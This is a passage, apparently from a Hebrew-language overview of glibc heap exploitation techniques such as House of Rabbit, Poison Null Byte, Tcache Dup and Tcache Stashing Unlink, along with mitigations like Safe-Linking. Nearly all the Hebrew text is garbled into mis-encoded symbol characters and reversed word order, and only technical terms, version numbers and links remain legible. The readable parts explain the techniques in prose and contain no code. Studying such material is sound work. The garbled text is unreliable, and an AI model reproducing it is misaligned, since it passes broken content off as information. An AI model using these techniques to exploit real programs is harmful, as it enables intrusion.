-schunk ˱˧˧ˣˤˬˢ ˱˧˵ˬ ˸˞ ˟˥˶ˬ ˭ˣ˶˩˧ˤˢ ˧˪˞ˣ˦˶˧ˣˢ ˫˰ ˢˡ˷ ˪ˡˣˠ 0xfffffffffffffff 1 )˧˶˥˞ ˸˪˰˲ˢ s-

mask ˯ˣ˲˧˞˪ ˫˧˪ˠˡˢ ,ˢˤ ˢˣˣ˷ ˨˶˰ ˪ˡˣˠ˪ ˪˷ -16 (˪ˡˣˠˢˣ ˪˷ s-chunk ˟˵ˣ˰ˢ ˪˥˸ˣ˞˧ ˪-0x11 

)fencepost chunk, ˧ˢˣˤ ˸˯˧˶ˡ-˪ˠ˶ˢ/˥˦˷ˢ ˭˦˵ˢ ˶˸ˣ˧˟ ˪˷ ˭ˣ˶˩˧ˤ ˷-chunk ˱˧˧ˣˤˬ( ˡˣ˰˟ ˞ˣˢ˷ ˫˧˧˵ˬ 

˸˞ ˸ˣ˵˧ˡ˟ s-fastbin ˪˰ s-next size )˪ˡˣˠ s-chunk ˟˵ˣ˰ˢ (˨˩˟ˣ ˰ˮˬ˧ˢ˪ ˸ˣˮ˧˯˧ˮˬ ˡˣ˥˧˞˪. 

 

]˶ˣ˧˞ :22 House of Rabbit ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢ[ 

˸˥˞ sx-chunk ˱˧˧ˣˤˬˢ ˶˷ˣ˵ˬ ˪˞ ˨ˣ˸ s-fastbin ,˞ˣˢ ˡ˥ˣ˞˧ ˪˞ ˨ˣ˸ s-unsortedbin ˸˶ˠ˯ˬ˟ 

malloc_consolidate() .ˣˮ˥ˮ˞ ˞˪ ˫˧˪ˣ˩˧ )˞˪ ˫˧˴ˣ˶ (˪˧˰˲ˢ˪ ˸˞ malloc_consolidate() ˨˶ˡ malloc() ˧˩ 

ˤ˞ s-chunk ˱˧˧ˣˤˬˢ ˭˧˧ˣˬ˧ - ˢˬ ˫ˣ˶ˠ˧˷ ˪-abort() ˞˶˵˧ˢ˪ ˶˷˞˩ ˪˷˩˧˸ ˸˵˧ˡ˟ ˸ˣ˧˲˷ˢ ˪˰ ˪ˡˣˠˢ . 

˫ˣ˵ˬ˟ ˸˞ˤ ,ˣˮ˞ ˫ˣ˶ˠˮ ˪πchunk ˱˧˧ˣˤˬˢ ˸ˣ˧ˢ˪ ˭˧˧ˣˬˬ ˰"˧ ˶ˣ˶˥˷ ˪˷ chunk ˣ˪ˡˣˠ˷ ˶˟˰ˬ ˪- 

FASTBIN_CONSOLIDATION_THRESHOLD ύ0x100000 ˸˶˧˶˟˩ ˪ˡ˥ˬ ,(˭˸˧ˮ ˠ˧˷ˢ˪ ˸˞ˤ ˰"˧ ˶ˣ˶˥˷ ˪˷ 

normal chunk ύnon-large ό˪˟ˣˠ˷ ˟πtop chunk ˫ˣ˷ˬ ˷π_int_free() ˸˟˷˥˸ˬ ˪˩˟ ˥˦˷ˢ ˡ˥ˣ˞ˬˢ 

˪ˡˣˠ˩ s-chunk ˢ˞˶˵ˮ˷ ˣ˶ˣ˟˰. 

ˢˮ˷ˮ ˸˞ ˪ˡˣˠ s-chunk ˱˧˧ˣˤˬˢ ˧ˡ˩ ˞ˣˢ˷ ˪˩ˣ˧ ˭˧˧ˬ˸ˢ˪ ˪˞ ˨ˣ˸ s-largebin ˪ˣˡˠˢ ˶˸ˣ˧˟ )ˡˣ˵˟ ˰˧˲ˣˬ 

-˩bin[126ώ ,(malloc ˸˷˲˥ˬ ˵˶ ˟-bin ˢˤ ˶ˣ˟˰ ˸ˣ˷˵˟ ˸ˣ˪ˣˡˠ ˡˣ˞ˬ .˪˰ ˸ˮˬ ˫˧˞˸ˢ˪ ˪- bin ˢˤ ,-s

chunk ˱˧˧ˣˤˬˢ ˟˧˧˥ ˸ˣ˧ˢ˪ ˪˰˟ ˪ˡˣˠ ˪˷ ˸ˣ˥˲˪ 0x80001 .˭˧˧ˬˮ ˸˞ s-chunk ˱˧˧ˣˤˬˢ ˪˞ ˨ˣ˸ bin[126ώ 

"˧˰ ˸˷˵˟ chunk ˪ˣˡˠ ˶˸ˣ˧ . 
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˫˞ ˢˮ˸˷ˬ s-system_mem ˪˷ s-arena ˭˦˵ ˬ-0x80000 )˭˩˞ˣ ˨˩ ˢ˧ˢ˧ ˶ˣ˟˰ ˧˟˴ˬ ˸˶˧˶˟ ˪ˡ˥ˬ 

˶˷˞˩ s-heap ˞˪ ˟˥˶ˣˢ ,(˷˶ˡ˧˧ ˣˮ˸˧˞ˬ ˪˧ˡˠˢ˪ ˢ˶ˣ˴˟ ˸˧˸ˣ˩˞˪ˬ ˸˞ system_mem ˰"˧ ˸˷˵˟ large 

chunk ˢ˪˧˥˸ ,ˣ˶ˣ˶˥˷ ˱ˣ˯˟˪ˣ ˷˵˟˪ ˣ˸ˣ˞ ˟ˣ˷. 

˸˰˩ ,˶˥˞˪ ˢ˷-chunk ˱˧˧ˣˤˬˢ ˶˷ˣ˵ ˪˞ ˨ˣ˸ s-largebin ˪ˣˡˠˢ ˶˸ˣ˧˟ ,ˢˤ ˥ˣ˦˟ ˸ˣˮ˷˪ ˸˞ ˣ˪ˡˣˠ 

ˢ˶ˤ˥˟ ˪-0xfffffffffffffff 1 .ˣˬ˧˷ ˟˪ ˨˶˰˷ ˢˤ˩ ˪ˣˡˠ ˪˷ ˪ˡˣˠ ˪ˣ˪˰ ˞˪˷ ˫˧˞˸ˢ˪ ˶˷˞˩ ˢ˯ˮˮ )ˢ˴˶ˮ (

˯ˣ˶ˡ˪ ˫˧ˮ˸˷ˬ ˪˰ ˸˧ˮ˯˥ˬˢ ˟˵˰ ˨˩ ˪ˡˣˠ˷ s-chunk ˱˧˧ˣˤˬˢ ˪ˣ˪˰ ˸ˣ˧ˢ˪ ˪ˣˡˠ ˬ-av->system_mem 

˶˥˞˪ ˢ˞˴˵ˢˢ .˶˟ˡ ˢˤ˩˷ ˪˧˷˩˧ ˸˞ ˸˵˧ˡ˟ ˸ˣ˧˲˷ˢ ˪˰ ˪ˡˣˠˢ ˨˪ˢˬ˟ ˸ˣ˞˴˵ˢ ˸ˣ˟˵ˣ˰ ˢˬ-

unsortedbin. 

 

]˶ˣ˧˞ но: ˪ˣ˪˯ˬˢ ˶˟ˣ˰˷ sπChunk ˱˧˧ˣˤˬˢ ˭˧˟ sπbins ˫˧ˮˣ˷ˢ ˟πHouse of Rabbit Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ

˶ˣ˷˧˞˟ ˶˴ˣ˧ˢ[ 

˨˩ˣ ˣˮˠ˷ˢ ˟˧˦˧ˬ˧˶˲ ˢˬˣˡ ˢˤ˪ ˪˷ House of Froce ˞˟˷ ˧ˡ˧˪ ˧ˣ˦˧˟ ˨˩˟ ˢˮ˰ˬ˷ ˢ˷˵˟˪ ˢ˪ˣˡˠ ˪ˣ˩˧ 

˸ˣ˷˰˧ˢ˪ ˨ˣ˸ˬ s-chunk ˱˧˧ˣˤˬˢ ˷˶˲˸ˬ˷ )spans (˪˰ ˧ˮ˲ ˥ˣˣ˶ˬˢ ˭˧˟ s-chunk ˱˧˧ˣˤˬˢ ˭ˣ˶˩˧ˤ˪ 

ˢ˶˦ˬˢ. 

 

˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

˨˶ˡ ˸˧˲ˣ˪˥ ˫ˣ˵ˬ˟ ˷ˣˬ˧˷ ˟-large chunk ˱˧˧ˣˤˬ ˱˧˵ˬˢ ˸˞ ˟˥˶ˬ ˭ˣ˶˩˧ˤˢ ˧˪˞ˣ˦˶˧ˣˢ ˨˪ˢˬ˟ ˶ˣ˷˧˵ˢ 

˧ˮˣ˷˞˶ˢ ˪˞ ˨ˣ˸ s-fsatbin ˞˧ˢ ˷ˬ˸˷ˢ˪ ˟-fast chunk ˱˧˧ˣˤˬ ˫˰ fencepost chunks ˣˬˣ˧˯˟ .ˢˤ ˷˶ˣˡ 

˭ˣ˶˩˧ˤ˷ ˱˯ˣˮ ˢ˧ˢ˧ ˣˮ˸˦˧˪˷˟ ˨˞ ˱˵ˣ˰ ˸˞ ˸ˣ˵˧ˡ˟ ˸ˣ˧˲˷ˢ ˪˰ ˪ˡˣˠˢ ˨ˣ˸˟˷ malloc_consolidate() ,˭ˣ˩ˮ 

ˢ˯˶˧ˠ˪ glibc 2.27. 

 

˸ˣ˪˟ˠˬ 

ˢ˵˧ˡ˟ˢ ˪˷ size ˸ˬˣ˰˪ prev_size ˢˠ˴ˣˢ ˢˮˣ˷˞˶˪ ˟-н.нс ˢ˸ˣ˰ˬ˷ˬˣ ˟˴˰ˬˢ˷ ˟˧˧˥ ˯˪˩˞˪ ˸˧ˮˡ˧ ˸˞ 

ˢˡ˷ s-prev_size ˪˷ s-fencepost chunk ˱˧˧ˣˤˬˢ. 
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Poision Null Byte )2014 Chris Evans, Project Zero @Google( 

ϐ˯˯ˣ˟ˬ ˪˰ ˢ˧˴˞˧˶ˣˢ shrink_free_hole_alloc_overlap_consolidate_backward.cώ 

ˢ˶˧˵˯ ˸˧˪˪˩ 

˱ˣˮ˧ˬ ˠ˞˟ ˢ˷˧˪ˠ ˪˷ null-byte ˡ˧˥˧ ˨˶ˣ˴˪ ˸˶˧˴˧ chunks ˫˧˲˲ˣ˥ ˧˪˟ˬ ˨˶ˣ˴ ˟ˣ˴˧˰˟ ˢˡ˷ prev_size 

˱˧˧ˣˤˬ. 

˫˧˦˶˲ 

ˢ˵˧ˮ˩˦ xʕ ˸ˡ˵ˬ˸ˬ ˢ˷˧˪ˠ˟ ˪˷ null-byte ˡ˧˥˧ ˷˧˥˶˸˟ ˧˸ˣ˞˧˴ˬ ˪˷ ˫ˣ˧˯ ˸ˤˣ˶˥ˬ )˸˟˧˸˩ Ψ\0Ω (˫ˣ˵ˬ˟ 

˞˪ ˭ˣ˩ˮ .˫˧˷˧˥˶˸˟ ˫˧˧˸ˣ˞˧˴ˬ ˣ˪˞˩˷ ,˞˪ ˶˧˟˯ ˪˩ˣˮ˷ ˵˲˯˪ ˢˡ˷ prev_size ˱˧˧ˣˤˬ ˶˥˞ˬ ˶˧˟˯˷ ˡˣ˞ˬ 

ˢ˷-quadword ˧ˮ˲˪˷ ˢˡ˷ ˪ˡˣˠˢ ˪˷ s-chunk ˟˵ˣ˰ˢ ˵˧ˤ˥ˬ ˸ˤˣ˶˥ˬ ˢ˷˵˷ ˨ˣ˲ˢ˪ ˢ˸ˣ˞ ˨˶˰˪ ˧ˮˣ˧ˠˢ 

˪˷ ˢˡ˷ prev_size ˧˪˟ˬ ˷ˬ˸˷ˢ˪ ˟-null bytes )˧˶ˢ ˰ˠ˶˟ ˢ˷˰ˮ˷ ˸˞ˤ ,˫˞˸ˢ˟ ˸ˣˠˢˮ˸ˢ˪ ˸ˣ˧˴˵ˮˣ˲ 

libc ˸ˣ˞˶ˣ˵˷ ˸ˣˤˣ˶˥ˬ ,˭˸ˮ˧˥˟ˬ ˫˷ ˭s ˸ˣ˵˧˯˲ˬ ˞ˣ˶˵˪ .ˣˢˤ ˫ˠ ˡ˥˞ ˫˧˶ˠ˸˞ˢˬ ˸˟˧˸˩˟ shellcodes.( 

ˢ˷˧˪ˠˢ ˸˟˧˧˥ ˸ˣ˧ˢ˪ ˸ˮˣˣ˩ˬ ˪˞ free chunk ˫˰ ˢˡ˷ ˪ˡˣˠ ˪˷ 0x110 x˞ ˪ˣˡˠ ˶˸ˣ˧ ,˶˷˞˩ ˢˤ ˢ˶ˣ˵ 

˸˧˟ˢ ˨ˣˬˮˢ ˶˸ˣ˧˟ ˪˷ ˢˡ˷ ˪ˡˣˠˢ )˫˧˷˪ ˟˪ ˪-little endian (˯˲ˣ˞ˬ ,˨˩ ˸ˡˣ˵ˮˬ˷ ˦˟ˬˢ ˪˷ malloc 

ˡ˟˞ˮ ˫˷ˬ ˪ˡˣˠ ˪˷ 0x10 ˫˧˸˟ x˞ ˶˸ˣ˧ .˶˷˞˩ s-victim chunk ˢ˴˵ˣˬ ˟ˣ˷ ,ˢˡ˷ s-prev_size ˟˵ˣ˰ˢ 

˞˪ ˭˩ˡˣ˰˧ .˭˸˧ˮ ˪˴ˮ˪ ˸˞ˤ ˨˩: 

˷˵˟ˮ п chunk-˫˧ ,˞˶˵ˮ ˫ˢ˪ A ˡ˰ D :chukn A ˡ˰ˣˮ ˧ˡ˩ ˰˴˟˪ ˢ˷˧˪ˠ ˪˞ ˨ˣ˸ chunk B ˣˮ˧ˢ˷ ˪ˡˣˠ˟ 

0x110 x˞ ˪ˣˡˠ ˨˩ˬ .chunk C ˢ˧ˢ˧ ˪ˡˣˠ˟ ˧˪ˬ˶ˣˮ )˞˪˷ ˫˧˞˸ˬ ˪ˡˣˠ˪ ˪˷ fastbin .(chunk D ˷ˣˬ˧˷˟ ˧ˡ˩ 

˰ˮˬ˧ˢ˪ ˡˣ˥˧˞ˬ ˫˰ s-top chunk ,ˢˤ ˞˪ ˧˥˶˩ˢ ˨˞ ˶ˤˣ˰ ˨ˣ˲ˢ˪ ˸˞ ˪ˣˠ˶˸ ˢ˵˧ˮ˩˦ˢ ˶ˣ˶˟˪ ˶˸ˣ˧ .˶˶˥˷ˮ 

˸˞ chunk B ˪˞ ˨ˣ˸ s-unsortedbin ˪˷ s-arena ˣ˪˷ ˰˴˟ˮˣ ˸˞ ˢ˷˧˪ˠˢ ˪˞ ˨ˣ˸ chunk B ˣˮ˶˟˧ˡ˷ 

ˢ˧˪˰ ˯˲˞˸˷ ˸˞ sLSByte ˣ˪˷. 

˸˰˩ ˷˵˟ˮ ˧ˮ˷ chunks ˣ˴˵ˣ˧˷ ˥˦˷˟ ˷-B ˶˧˞˷ˢ ˣ˧˶˥˞ ˶˥˞˪ ˣ˶ˣ˶˥˷ )˞ˣˢ ˪˴ˣ˲˧ ,(ˢ˶˦ˬ˟ ˶ˣ˴˧˪ ˧ˮ˷ 

chunks ˞˶˵ˮ˷ ˫ˢ˪ B1 x-B2 ,B1 ˟˧˧˥ ˸ˣ˧ˢ˪ ˪ˡˣˠ˟ normal )˪ˣˡˠ ˢˤˬ ˪˷ s-fastbin .(˶˶˥˷ˮ ˸˞ B1 

˶˥˞˪ˣ ˭˩ˬ ˸˞ C .Chunk C ˡ˥ˣ˞˧ ˸˧˶ˣ˥˞ ˫˰ B1 ˨˩ ˶˴ˣ˸˷ ˡˣ˥˧˞ˢ ˱ˣ˲˥˧ ˸˞ B2 )˪˧˩˧ ˣ˸ˣ˞ ˣ˩ˣ˸˟ (

˪˪ˠ˟ ˢˡ˷˷ s-prev_size ˣ˪˷ ˞˪ ˭˩ˡˣ˰ ˤ˞ˬ ˷-B ˶˶˥ˣ˷ .˱ˣ˯˟˪ ˷˵˟ˮ ˭ˣ˶˩˧ˤ ˷ˠˣ˧˷ ˢˬ-chunk ˱˲ˣ˥ˢ 

-˪B2 ˭˧˧ˡ˰˷ ˢ˴˵ˣˬ )˫˷ ˞˴ˬˮ s-target data( 

˸ˣ˪˟ˠˬ 

˸ˣ˞˯˶ˠ˟ glibc >= 2.26 ˫˧˟˧˧˥ ˡˣˬ˰˪ ˧˞ˮ˸˟ ˢ˵˧ˡ˟ˢ ˪˷ size ˸ˬˣ˰˪ prev_size ˣ˶˵˞ˬ˟/˸˧˧˴˵ˮˣ˲ s-

unlink ˶˷˞˩ chunk B ˞˴ˣˬ ˭ˬ s-unsortedbin ˨˧˪ˢ˸˟ s-remaindering. 

https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html
https://bugs.chromium.org/p/project-zero/issues/attachment?aid=226803&signed_aid=cBxaSySMxRDgWshwJZ3Z5w==
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˸ˣ˞˯˶ˠ˟ glibc >= 2.29 ˢ˵˧ˡ˟ˢ ˪˷ size ˸ˬˣ˰˪ prev_size ˧ˮ˲˪ ˵ˮˣ˲ '-sunlink ˪˷˩˧˸ ˶˷˞˩ chunk C 

˶˶˥ˣ˷ˬ ˧˩ ˢˡ˷ ˪ˡˣˠˢ ˪˷ B1 ˞˪ ˭ˣ˩ˮ )ˢ˷˧˪ˠˢ ˢ˸ˮ˧˷ ˣ˸ˣ˞ (˭˧˞ˣ ˣˮ˪ ˨˧˞ ˸ˣˮ˷˪ ˣ˸ˣ˞. 

 

House of Corrosion )άCptGibbonέΣ 2019 - Max Kamper( 

ˢ˵˧ˮ˩˦ xʕ ˶˵˯˧˸ ˫ˣ˯˶˲˟ ˞˟ˢ ˞˷ˣˮ˟ .ˣˬ˩ ˭˩ ˞˧ˢ ˶˟˯ˣ˸ ˢ˶ˣˡˢˬ˟ ˸˧˷˧˪˷ˢ ˪˷ ˸˶ˡ˯ ˫˧˯˶ˣ˵ˢ 

HeapLAB glibc Linux Heap exploitation .˫˩ˮˣ˧˰˪ ,˸ˣ˲˶ˣ˴ˬ ˸ˣ˧ˮ˲ˢ ˸ˣ˶ˣ˵ˬ˪ ˫˧˧˦ˮˣˣ˪˶ ˱ˣ˯˟ ˨ˬ˯ˬˢ. 

 

Tcache Dup 

ˢ˶˧˵˯ ˸˧˪˪˩ 

˱ˣˮ˧ˬ ˪˷ ˠ˞˟ ˠˣ˯ˬ ˶ˣ˶˥˷ ˪ˣ˲˩ ˧ˡ˩ ˫ˣ˶ˠ˪ ˪-malloc ˶˧ˤ˥ˢ˪ ˸˞ ˣ˸ˣ˞ s-chunk ˫˧˧ˬ˰˲ ,˧˪˟ˬ ˶˶˥˷˪ 

ˣ˸ˣ˞ ˭˧˟ ˭˧˟˪ .ˢ˵˧ˮ˩˦ xʕ ˸ˠ˷ˣˬ ˡ˟"˩ ˰"˧ ˸˸˥˷ˢ s-metadata ˪˷ s-tcache ˧ˡ˩ ˶˷˵˪ chunk ˱˧˧ˣˤˬ 

˪˞ ˨ˣ˸ tcachebin .˸˞ s-chunk ˱˧˧ˣˤˬˢ ˢˤˢ ˪˩ˣˮ ˸ˣ˴˵ˢ˪ ,˶˥˞˪ˣ ˭˩ˬ ,˫˞˸ˢ˟ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˪ 

˸˧ˮ˩ˣ˸ˢ ,˪˩ˣˮ ˞ˣ˶˵˪ ˬ/˟ˣ˸˩˪ ˪˞ ˫ˣ˵˧ˬ ˧˸ˣ˶˧˶˷ ˭ˣ˶˩˧ˤ˟. 

˫˧˦˶˲ 

ˢ˵˧ˮ˩˦ xʕ ˢ˪˰ˣ˲ ˭ˣˮˠ˯˟ ˢˬˣˡ ˢˤ˪ ˪˷ ˸˲˵˸ˬ s-Fastbin Dup ,˪ˡ˟ˢˢ ˧˶˵˧˰ˢ ˭ˣˬ˦ ˨˩˟ ˸ˣ˞˯˶ˠ˟˷ 

glibc ˧ˮ˲˪ н.нф ˭˧˞ ˢˮˠˢ ˧ˮ˲˟ ˶ˣ˶˥˷-˪ˣ˲˩ ˟-tcache .˸˵˧ˮ˩˦ s-Tcache dup ˸ˮ˸ˣˮ ˟˧˦˧ˬ˧˶˲ ˧˸ˬ˴ˣ˰ 

˫ˣ˷ˬ ˭˧˞˷ ˸˵˧ˡ˟ ˸ˣˬ˪˷ ˪˰ ˢˡ˷ ˪ˡˣˠˢ ˸˰˟ ˸ˣ˞˴˵ˢ ˨ˣ˸ˬ s-tcachebin) !˧˶ˢ ˞ˣˢ ˱˯ˣˣ˸ˢ ˨ˣ˸ˬ 

ˢ˶˦ˬ ˶˲˷˪ ˸˞ ˫˧˧˰ˣ˴˧˟ˢ ˪˷ ˸˧ˮ˩ˣ˸ˢ ,(ˢˬ ˶˷˲˞ˬ˷ ˣˮ˪ ˶˸˧˟ ˸ˣ˪˵ ˱ˣ˲˥˪ tcache chunk ˱˧˧ˣˤˬ ˫˰ 

˪˩ ˸˟ˣ˸˩ ˭ˣ˶˩˧ˤ˟. 

˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

ˢ˯˶ˠ˟ н.нф ˪˷ glibc ˢ˲˯ˣˣ˸ˢ ˢ˵˧ˡ˟ ˸˯˧˲˸˪ ˶ˣ˶˥˷-˪ˣ˲˩ ˟-tcache :˶˷˞˩ chunk ˶˷ˣ˵ˬ ˪˞ ˨ˣ˸ s-

tcachebin ,˸˟ˣ˸˩ˢ ˪˷ s-tcache ˪˷ s-thread ˳˶˷ ˸˟˸˩ˮ ˪˞ ˨ˣ˸ ˞˸ ˡ˟˷"˩ ˶ˣˬ˷ ˰˧˟˴ˬ˪ s-bk 

˪˷ chunk ˶˶˥ˣ˷ˬ ,˞˸ ˢˤ ˠ˧˧ˣ˸ˬ ˣ˸ˣ˞ˬ ˰ˠ˶ ˢˡ˷˩ ˫˷˟ "key) "˥˸˲ˬ ˢˢˤˬ ˪˷ ˸˟ˣ˸˩ ˢˮ˟ˬ s-

tcache ˞˴ˬˮ˷ ˸˪˧˥˸˟ s-Heap(. 
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˨˷ˬˢ˟ ˢ˞˶ˮ ˪˥ˢ˷ ˢ˯˶ˠˬ н.оп ˫ˣ˵ˬ˟ ˢ˸ˣ˞ ˸˟ˣ˸˩ ˶ˬ˷ˮ ˨˶˰ ˧˞˶˵˞ ˢˡ˷˟ s-key .(˶˷˞˩ chunks 

˫˧˶˶˥ˣ˷ˬ - ˢˡ˷ ˥˸˲ˬˢ ˫ˢ˪˷ ˵ˡ˟ˮ .ˢˡ˧ˬ˟ ˞ˣˢˣ ˫˞ˣ˸ ˸˟ˣ˸˩˪ ˪˷ stcachebin ,˰˴ˣ˟˧ ˷ˣ˲˧˥ 

ˢ˞˪ˣ˪˟ ˨ˣ˸˟ s-tcachebin ˧˦ˮˣˣ˪˶ˢ ˶˥˞ s-chunk ˫˧˶˶˥˷ˬ˷ .˫˞ s-chunk ˶˶˟˸ˬ ˩"˞˴ˬˮ ˶˟˩ "

)˸˰˴˟˸ˬ ˸˞ˣˣ˷ˢ ˸ˣ˟ˣ˸˩ ,˞˪ˣ ˪˷ ˸ˣ˥˸˲ˬ (˨ˣ˸˟ s-tcache ˤ˞ ˮˣ˲ˢ 'abort() ˸˞˶˵ˮ. 

˭˸˧ˮ ˱ˣ˵˰˪ ˢ˵˧ˡ˟ xʕ ˰"˧ ˢ˲˴ˢ )˞˪ˬ˪ ˡ˰ ˱ˣ˯ˢ (˪˷ s-tcachebin ˡ˰ˣ˧ˬˢ ˧ˡ˩ ˶˥˞˪˷ ˭˩ˬ ˪˩ˣˮ ˶˶˥˷˪ 

victim chunk ˸ˣ˶˧˷˧ ˪˞ ˨ˣ˸ fastbin ˪ˡˣˠ˟ ˢˢˤ .˶˥˞˪ ˭˩ˬ ˪˩ˣˮ ˭˵ˣ˶˪ ˸˞ s-tcachebin )˨˶˦˴ˮ ˰˴˟˪ 

˸ˣ˞˴˵ˢ ˱˴˶˟ ˶˲˯ˬ ˫˧ˬ˰˲ ˣˮ˧ˢ˷ ˪ˡˣˠ s-tcache ,ˢˬˠˣˡ˪ т ,(ˤ˞ˣ ˶˶˥˷ˮ ˸˞ s-victim ˫˰˲ ˢ˧˧ˮ˷ 

)˶˷ˣ˵˧ ˪-tcachebin .(˸˰˩ ,-svictim chunk ˢ˴˵ˣ˧ ˨ˣ˸ˬ s-tcachebin ,˸ˡˣ˵ˮ˟ˣ ˭ˬˤ xʕ )ˢ˥ˮˢ˟ ˪˷ˬ˪ 

˸˧ˮ˩ˣ˸ˢ˷ ˸˶˷˲˞ˬ ˟ˣ˸˩˪ ˪-user data ˡ˧ˬ ˶˥˞˪ ˢ˞˴˵ˢˢ ˣ˪˷ (˟˴˰ˬˢ ˪ˣ˩˧ ˸ˣˮ˷˪ ˸˞ ˢˡ˷ s-fd 

ˣ˪˷ ˸ˮ˧˥˟ˬ s-fastbin )˸˶ˣ˩ˤ˸ :˷˧ ˵˸˰ˢ ˪˷ s-chunk ˟-fastbin .!˧˶ˢˣ ˭˞˪ ˢ˴˶ˮ ˫ˣ˶ˠ˪ x˪ ˰˧˟˴ˢ˪ ?

˪˞ chunk ˱˧˧ˣˤˬ ˢ˴˶ˮ˷ ˟ˣ˸˩˪ ˣ˩ˣ˸˪ ,ˢˬˠˣˡ˪ :ˢˤ˩ ˪˧˩ˬˢ ˸˞ ˡ˥˞ ˢˬ-hooks .( 

˶˷˞˩ ˢ˴˵ˮ ˸˞ s-victim chunk ˨ˣ˸ˬ s-fastbin x˟ ˞ˣˢ ˞˴ˬˮ ,˷˥˶˸˸ ˢ˪ˣ˰˲ ˸ˡ˥ˣ˧ˬ - ˪˩ ˶˞˷ s-

chunks ˣ˶˸ˣˮ˷ ˨ˣ˸˟ ˣ˸ˣ˞ s-fastbin ˣ˶˟˰ˣ˧ ˪˞ s-tcache ˫˞ˣ˸ˢ )˨˧˪ˢ˸ s-dump ,(ˢ˶˵ˬ˟ˣ ˣˮ˪˷ ˢˤ 

˪˪ˣ˩ ˸˞ s-chunk ˱˧˧ˣˤˬˢ .˨˧˪ˢ˸ s-tcache dumping ˞˪ ˪˪ˣ˩ ˢ˵˧ˡ˟ ˧ˣˢ˧ˤ˪ ˶ˣ˶˥˷-˪ˣ˲˩ )˶ˬˣ˪˩ ˭˸˧ˮ 

˶ˣ˴˧˪ ˟˴ˬ x˟ chunk ˞˴ˬˮ ˶˸ˣ˧ ˫˰˲ˬ ˸˥˞ ˟-tcachebin .(ˣˬ˧˷ ˟˪ ˢ˷-fd ˪˷ s-chunk ˱˧˧ˣˤˬˢ ˟˧˧˥ 

˸ˣ˧ˢ˪ null ˧ˡ˩ ˢˤ˷ ˥˧˪˴˧ )˧ˡ˩ ˨˧˪ˢ˸˷ s-dump ˞˪ ˶ˣ˶ˠ˧ ˭ˣ˧˯˧ˮ ˞ˣ˶˵˪ ˸˟ˣ˸˩ˬ ˭˧˞˷ ˣˮ˪ ˢ˷˧ˠ ˢ˧˪˞ 

˯˧˶˵ˮˣ ˸˞ ˸˧ˮ˩ˣ˸ˢ( 

˭ˣˣ˧˩ˬ ˢ˷-tcache ˣˬ˴˰ ˭˩ˣ˷ ˨ˣ˸˟ s-heap )ˣ˸˪˧˥˸˟ ,(˭˸˧ˮ ˸˧˥˷ˢ˪ ˣ˸ˣ˞ ˶˥˞˪ ˣˮˠ˷ˢ˷ ˸ˠ˧˪ˤ ˰ˡ˧ˬ 

˪˷ ˸˟ˣ˸˩ ˫ˣ˵˧ˬ ˰ˣˡ˧ ˪˰ s-heap )heap leak(. 

˯˶ˣ˵˟ ˶˩ˤˣˬˢ ˸˪˧˥˸˟ ˶ˬ˞ˬˢ ,˶˴ˣ˧ˢ ˣ˪˷ ˶˥˟ ˠ˧˴ˢ˪ ˸˞ s-tcache ˟˪˷˟ ˶˥ˣ˞ˬ ˸˧˯˥˧ )˵˪˥ н (

˭˰ˣ˦ˣ ˸˯ˮ˩ˢ˪˷ ˭ˣˮˠˮˬ ˢˤ ˪-glibc ˣ˧ˢ ˸ˣ˩˪˷ˢ ˸ˣ˧˪˧˪˷ ˸ˮ˧˥˟ˬ ˢ˥˦˟˞ˢ ˢ˪˷ )˶ˬˣ˪˩- ˢˤ ˨˲ˣˢ ˸˞ 

˨˧˪ˢ˸ ˢ˧˴˦ˣ˪˲˯˵˞ˢ ˪˵˪ ˶˸ˣ˧( 

 

Tcache Stashing Unlink )TSU( 

ˢ˵˧ˮ˩˦ xʕ )ˢ˶˧˩ˤˬˢ ˸˞ Tcache dump (ˢ˧˸ˣ˶ˤˠˮˣ )TSU+ x-TSU++ (ˢˮ˶˟˯ˣ˸ ˫ˣ˯˶˲˟ ˞˟ˢ ˞˷ˣˮ˟. 

˸ˣ˲˶ˣ˴ˬ ˸ˣ˧ˮ˲ˢ ˸ˣ˶ˣ˵ˬ˪ ˫˧˧˦ˮˣˣ˪˶ ˱ˣ˯˟ ˨ˬ˯ˬˢ ˫˩˷ˣˬ˧˷˪. 
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˶˟˰ˬˢ ˢ˯˶ˠ˪ glibc 2.32 ˸˯ˮ˩ˢˣ ˭ˣˮˠˮˬ Safe-Linking ), Eyal Itkin2020( 

˭ˣˮˠˮˬ ˢ˥˦˟˞ˢ ά{ŀŦŜ-[ƛƴƪƛƴƎέ )˞˪ ˭ˣ˵˧˸ˢ ˯ˮ˩ˣˢ˷ ˸ˮ˷˟ нллр ˢ˯˶ˠ˪ 2.3.6 ˪˷ glibc ˫˷˟ ά{ŀŦŜ-

¦ƴƭƛƴƪƛƴƎέ ˧ˡ˩ ˭ˠˢ˪ ˪˰ s-bins ˫˧ˡ˟ˣ˰˷ ˫˰ ˸ˣˬ˧˷˶ xl-˸ˣ˧ˮˣˣ˧˩ (ˡ˰ˣˮ ˭ˠˢ˪ ˪˰ ˸ˣˬ˧˷˶ ˸ˣ˶˷ˣ˵ˬ ˡ˥-

˸ˣ˧ˮˣˣ˧˩ ˪˷ malloc ˧ˮ˲ˬ ˷ˣ˟˧˷ )tampering (ˡ˴ˬ ˱˵ˣ˸ .˞ˣˢ ˯ˮ˩ˣˢ ˪-glibc (Linux) ˢ˧˧˶˲˯˪ˣ ˢ˪˧˟˵ˬ 

˫ˣ˥˸˪ s-Embedded ˫˷˟ uClib-NG .˧ˮ˲˪ ˯ˮ˩ˣˢ˷ ˭ˣˮˠˮˬˢ - ˢ˸˥˷ˢ ˪˷ ˸ˣˬ˧˷˶ ˡ˥-˸ˣ˧ˮˣˣ˧˩ )ˣˬ˩ xʕ 

˪˷ s-Fastbins sx-Tcache (ˢ˶˷˲˞ ˱˵ˣ˸˪ ˠ˧˷ˢ˪ ˟˧˦˧ˬ˧˶˲ ˠˣ˯ˬ ˢ˞˴˵ˢ ˸˧˸ˣ˶˧˶˷ ,˶ˬˣ˪˩ ˢ˞˴˵ˢ 

